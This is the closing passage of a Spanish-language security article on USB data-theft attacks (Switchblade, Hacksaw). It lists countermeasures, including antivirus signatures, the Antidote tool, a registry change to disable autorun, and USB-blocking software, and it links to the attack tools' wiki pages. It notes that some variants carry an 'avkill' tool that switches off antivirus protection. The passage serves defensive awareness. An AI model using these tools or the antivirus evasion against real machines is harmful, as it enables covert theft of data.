Desde el punto de vista de contramedidas base, y tal cual mencione en algún punto más arriba en este artículo, cada vez es mayor la cantidad de compañías antivirus y demás malware que ya cuentan entre sus firmas, aquellas que permiten detectar al switchblade y al hacksaw. Por otro lado la gran cantidad de variantes de estos códigos que se pueden desarrollar hace que la detección, y mucho más la identificación pueda fallar. Hasta incluso, en algunas de las variantes de switchblade y el hacksaw, se incluye una pequeña aplicación llamada "avkill" que se encarga de eliminar la protección en tiempo real de algunos software antivirus antes de ejecutar el código, para evitar que estos sean detectados.

Por otro lado, algo interesante es el **Remkow's Antidote**, desarrollado por la misma comunidad que participa en Hack5, este pequeño código se encargará de aplicar en el sistema objetivo, una serie de configuraciones que protegerán al mismo de los males de switchblade y de hacksaw. Adicionalmente ejecutará otras acciones que brindarán los siguientes beneficios desde la óptica de la seguridad:

- Eliminar los rastros y vestigios dejados por Switchblade y Hacksaw
- Deshabilitar la ejecución automática del CD-ROM
- Deshabilitar el soporte para los hashes LM
- Deshabilitar el acceso anónimo
- Borrar los archivos temporales
- Scanear en busca de rootkits dentro del sistema y otras más...

El punto interesante de Remkow Antidote es que la ejecución del mismo, es exactamente igual a la de switchblade y el hacksaw, es decir quizás alguien no haga un favor y no nos demos cuenta...

Otra alternativa sería deshabilitar la función de auto ejecución en Windows XP / 2000, para ello deberían seguir los siguientes pasos:

1. Inicio-> Ejecutar.
2. Tipear REGEDIT y luego enter para abrir el editor del registro
3. Deberían ir a la siguiente llave de registro:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\CDRom

4. Modificar el valor existente por 0 para de esa manera deshabilitar la función de auto ejecución del CD-ROM.
5. Cerrar el Editor

6. Reiniciar el equipo.

Claro está, como vimos en el caso de los ataques con dispositivos USB non-U3, la intervención de un usuario desprevenido, podría hacer que el ataque tuviese éxito de todas maneras.

Por último, existe software comercial que permite deshabilitar las interfaces USB de los equipos o bien permitir que solo puedan funcionar en estas dispositivos USB como teclados y mouse, entre otros. Pero no dispositivos de almacenamiento, agregando además la trazabilidad en la utilización de los mismos y otras medidas de seguridad adicionales. Un caso de este tipo de software es el de Device Wall. A aquel que le interese profundizar más en este tema, encontrará información en las referencia de la red.

Conclusión:

Como último punto, me gustaría mencionar que los problemas causados por los ataques descritos tiene soluciones desde el punto de vista técnico y para nada complejas. Por política, por ejemplo, puedo deshabilitar en las estaciones de trabajo y servidores la funcionalidad de la ranura USB. Existen disponibles gran cantidad de aplicaciones que permiten esta y muchas otras variantes relacionadas. Quizá el punto más difícil para aplicar una contramedida sea el aspecto funcional, el que la organización identifique y comprenda los riesgos que esto trae aparejados y decida hacer algo al respecto.

Como se pudo leer en este artículo, el fin principal de este no es solamente explicar técnicamente cómo funcionan los ataques, sino que además tiene como fin mostrar cuán sencillo puede ser para un atacante extraer información sensible de una organización sin demasiado esfuerzo y conocimiento y tomar conciencia de ello.

Piensen Ustedes, cuán común es el acto de intercambiar información utilizando estos dispositivos, cuantos equipos quedan desatendidos y con acceso público a los cuales, un atacante en 30 segundos, puede extraerle información sin ni siquiera tocar el teclado. Cuántos usuarios sospecharían que un IPOD puede causarle tanto daño? En fin, la lista de escenarios podría continuar y continuar.

Por eso, y como es mi costumbre, terminaré este artículo con la siguiente frase "La creatividad aplicada a los ataques, es algo contra lo que muy pocos desarrollan contramedidas"

Referencias en la Red:

Hack 5 http://www.hak5.org/wiki/USB_Hacks

SwitchBlade http://www.hak5.org/wiki/USB_Switchblade

HackSaw http://www.hak5.org/wiki/USB_Hacksaw

Hacking U3 <http://www.cse.msstate.edu/~rwm8/hackingU3/>

Universal Loader http://www.hak5.org/wiki/Universal_U3_LaunchPad_Hacker

Slurping <http://en.wikipedia.org/wiki/Podslurping>

U3 www.u3.com

Aplicaciones U3 <http://software.u3.com>

Contramedidas <http://www.devicewall.com/>

Antidote http://www.hak5.org/wiki/USB_Antidote